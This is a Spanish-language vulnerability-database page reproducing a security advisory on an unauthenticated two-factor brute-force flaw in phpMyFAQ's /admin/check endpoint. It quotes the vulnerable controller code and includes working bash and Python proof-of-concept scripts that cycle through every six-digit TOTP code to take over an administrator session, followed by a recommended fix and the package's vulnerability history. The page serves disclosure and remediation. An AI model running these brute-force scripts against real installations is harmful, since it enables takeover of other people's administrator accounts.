Crítica

phpMyFAQ enables unauthenticated 2FA brute-force attack via /admin/check acceptance of arbitrary user-id

  • Publicada: 06.05.2026
  • Actualizado: 11.10.2026 10:22

Summary

The /admin/check endpoint in AuthenticationController implements SkipsAuthenticationCheck, making it reachable without any prior authentication. An anonymous attacker (Bob) can POST arbitrary user-id and token values to brute-force any user's 6-digit TOTP code. No rate limiting exists. The 10^6 keyspace is exhaustible in minutes. Reachability confirmed against a default install: unauthenticated POST /admin/check with a user-id body field returns HTTP 302 to /admin/token?user-id=<value>, echoing the attacker-supplied user id without any binding to a prior password-phase authentication.

Details

File: phpmyfaq/src/phpMyFAQ/Controller/Administration/AuthenticationController.php, lines 35-36 and 201-228.

The controller class declaration:

php
final class AuthenticationController extends AbstractAdministrationController implements SkipsAuthenticationCheck

The SkipsAuthenticationCheck interface (phpmyfaq/src/phpMyFAQ/Controller/Administration/SkipsAuthenticationCheck.php) is a marker interface that tells the ControllerContainerListener to skip authentication enforcement. Every route in this controller is reachable without a session.

The check action (line 201-228):

php
#[Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])]
public function check(Request $request): RedirectResponse
{
    if ($this->currentUser->isLoggedIn()) {
        return new RedirectResponse(url: './');
    }

    $token = Filter::filterVar($request->request->get(key: 'token'), FILTER_SANITIZE_SPECIAL_CHARS);
    $userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTER_VALIDATE_INT);

    $user = $this->currentUserService;
    $user->getUserById($userId);

    if (strlen((string) $token) === 6) {
        $tfa = $this->twoFactor;
        $result = $tfa->validateToken($token, $userId);

        if ($result) {
            $user->twoFactorSuccess();
            $this->adminLog->log($user, AdminLogType::AUTH_2FA_SUCCESS->value . ':' . $user->getLogin());
            return new RedirectResponse(url: './');
        }

        $this->adminLog->log($user, AdminLogType::AUTH_2FA_FAILED->value . ':' . $user->getLogin());
    }

    return new RedirectResponse('./token?user-id=' . $userId);
}

Problems:

  1. No session binding: The endpoint accepts user-id from the POST body. It does not verify that the caller previously authenticated with a password for that user.
  2. No rate limit or lockout: Failed attempts redirect back to the token form with no counter, delay, or account lock.
  3. Unauthenticated access: The SkipsAuthenticationCheck marker exempts the entire controller from auth enforcement.

The normal login flow (/admin/authenticate) redirects to /admin/token?user-id=X after a valid password. But nothing prevents Bob from skipping the password step and hitting /admin/check directly.

Proof of Concept

bash
# Step 1: Identify target user ID (admin is typically user_id=1)
TARGET_HOST="http://target.example"
USER_ID=1

# Step 2: Brute-force the 6-digit TOTP code
# TOTP codes rotate every 30 seconds, giving a window of ~1M attempts per window.
# At 200 req/s this takes under 2 hours worst case; with 2 valid windows it halves.

for code in $(seq -w 000000 999999); do
  RESPONSE=$(curl -s -o /dev/null -w "%{http_code}:%{redirect_url}" \
    -X POST "${TARGET_HOST}/admin/check" \
    -d "token=${code}&user-id=${USER_ID}")

  # A successful 2FA grants a session and redirects to ./
  # A failure redirects to ./token?user-id=1
  if echo "$RESPONSE" | grep -qv "token?user-id="; then
    echo "[+] Valid TOTP: ${code}"
    break
  fi
done
python
# Faster parallel version
import requests
from concurrent.futures import ThreadPoolExecutor

TARGET = "http://target.example/admin/check"
USER_ID = 1

def try_code(code):
    r = requests.post(TARGET, data={"token": f"{code:06d}", "user-id": USER_ID}, allow_redirects=False)
    location = r.headers.get("Location", "")
    if "token?user-id=" not in location:
        return code
    return None

with ThreadPoolExecutor(max_workers=50) as pool:
    for result in pool.map(try_code, range(1000000)):
        if result is not None:
            print(f"[+] Valid TOTP: {result:06d}")
            break

Impact

Bob bypasses two-factor authentication for any user account (including administrators) without knowing the user's password. After a successful brute-force, twoFactorSuccess() grants a fully authenticated admin session. Bob gains full administrative control: user management, FAQ content modification, configuration changes, and access to backup/export functions containing all data.

CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (High, 9.1) CWE: CWE-307 (Improper Restriction of Excessive Authentication Attempts)

Recommended Fix

  1. Bind the 2FA step to a password-verified session: Store a flag in the server-side session during authenticate() indicating the user passed password auth. The check action must verify this flag before accepting TOTP attempts.

  2. Add rate limiting / lockout: After 5 failed TOTP attempts, lock the account or enforce an exponential backoff.

  3. Narrow the SkipsAuthenticationCheck scope: Move the /check and /token routes into a separate controller that requires the password-verified session flag rather than blanket-skipping auth.

Example session-binding fix in check():

php
#[Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])]
public function check(Request $request): RedirectResponse
{
    $userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTER_VALIDATE_INT);

    // Require that the session proves password auth for this specific user
    if ($this->session->get('2fa_pending_user_id') !== $userId) {
        return new RedirectResponse(url: './login');
    }

    // ... existing TOTP validation ...
}

And in authenticate(), after successful password check:

php
$this->session->set('2fa_pending_user_id', $this->currentUser->getUserId());

Found by aisafe.io

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de Composer phpmyfaq/phpmyfaq < 4.1.2 4.1.2
Paquete de Composer thorsten/phpmyfaq < 4.1.2 4.1.2

Referencias

Puntuación CVSS 9.1/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Debilidad (CWE)
CWE-307
Plataforma
Composer
Paquete
phpmyfaq/phpmyfaq, thorsten/phpmyfaq
Publicada
06.05.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-9pq7-mfwh-xx2j - CC BY 4.0

Historial de vulnerabilidades: thorsten/phpmyfaq

Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (112) en el archivo
Entradas en total
112
Primera → última
05.2022 09.2026
Sin corrección
2
Explotada en ataques
0

Distribución por gravedad

  • Crítica 8
  • Alta 36
  • Media 67
  • Baja 1

Divulgaciones por año

  1. 2022: 8
  2. 2023: 62
  3. 2024: 2
  4. 2025: 6
  5. 2026: 34
Gravedad:
  1. Alta · 8.1 CVE-2026-56737 >= 3.2.0, < 4.1.6 4.1.6
  2. Alta · 7.5 CVE-2026-35672 < 4.1.3 4.1.3
  3. Alta · 8.8 CVE-2026-35671 < 4.1.3 4.1.3
  4. phpMyFAQ enables unauthenticated 2FA brute-force attack via /admin/check acceptance of arbitrary user-id esta entrada
    Crítica · 9.1 CVE-2026-45010 < 4.1.2 4.1.2
  5. Alta · 7.6 CVE-2026-46367 >= 4.1.1, < 4.1.2 4.1.2
  6. Alta · 7.5 CVE-2025-69200 < 4.0.16, >= 4.1.0-alpha, <= 4.1.0-beta.2 4.0.16
  7. Alta · 8.1 CVE-2025-59943 >= 4.0.7, < 4.0.13 4.0.13
  8. Alta · 7.6 CVE-2023-5865 < 3.2.2 3.2.2
  9. Alta · 7.4 CVE-2023-5864 < 3.2.1 3.2.1
  10. Alta · 8.3 CVE-2023-5319 < 3.1.18 3.1.18
  11. Crítica · 9.0 CVE-2023-5320 < 3.1.18 3.1.18
  12. Crítica · 9.1 CVE-2023-5316 < 3.1.18 3.1.18
  13. Alta · 8.8 CVE-2023-4007 < 3.1.16 3.1.16
  14. Alta · 8.2 CVE-2023-2550 < 3.1.13 3.1.13
  15. Alta · 8.3 CVE-2023-1887 < 3.1.12 3.1.12
  16. Alta · 7.3 CVE-2023-1886 < 3.1.12 3.1.12
  17. Crítica · 9.8 CVE-2023-0788 < 3.1.11 3.1.11
  18. Crítica · 9.8 CVE-2023-0789 < 3.1.11 3.1.11
  19. Alta · 8.8 CVE-2023-0790 < 3.1.11 3.1.11
  20. Alta · 8.8 CVE-2023-0793 < 3.1.11 3.1.11
  21. Crítica · 9.8 CVE-2023-0311 < 3.1.10 3.1.10
  22. Alta · 7.5 CVE-2022-4409 < 3.1.9 3.1.9
  23. Crítica · 9.8 CVE-2022-3754 < 3.1.8 3.1.8
  24. Alta · 8.4 CVE-2022-3608 < 3.2.0-alpha 3.2.0-alpha
  25. Alta · 8.8 CVE-2018-16650 < 2.9.11 2.9.11

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.